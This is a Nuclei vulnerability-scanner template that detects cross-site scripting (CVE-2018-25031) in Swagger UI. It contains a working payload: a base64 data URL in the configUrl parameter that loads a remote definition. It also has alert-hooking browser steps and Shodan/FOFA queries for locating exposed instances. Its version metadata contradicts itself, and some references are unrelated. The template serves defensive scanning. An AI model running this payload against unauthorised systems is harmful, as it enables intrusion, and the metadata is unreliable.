id: CVE-2018-25031

info:
  name: Swagger UI < 3.38.0 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
  remediation: |
    Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
  reference:
    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-25031
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/swagger-api/swagger-ui/issues/4872
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
    epss-score: 0.00265
    epss-percentile: 0.65516
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartbear
    product: swagger_ui
    shodan-query:
      - http.component:"Swagger"
      - http.component:"swagger"
      - http.favicon.hash:"-1180440057"
    fofa-query: icon_hash="-1180440057"
  tags: headless,cve,cve2018,swagger,xss,smartbear
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
        action: navigate

      - action: waitload

      - action: script
        args:
          code: |
           () => {
            window.originalAlert = window.alert;
            window.alert = function(message) {
              window.alertTriggered = true
              }
            }

      - action: sleep

      - action: script
        name: alerts
        args:
          code: |
            () => {
             return window.alertTriggered
            }

    matchers-condition: and
    matchers:
      - type: word
        part: alerts
        words:
          - "true"

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true
# digest: 4a0a0047304502206b620185825b2c7dd85b7d2fb9e5863acfd2c2b606b86934fc08cbc8fc997be3022100d10e8cd09cbe237f829b10d1e0a5226cf9e34a7a2c007f3e53029cae7f920b52:922c64590222798bb761d5b6d8e72950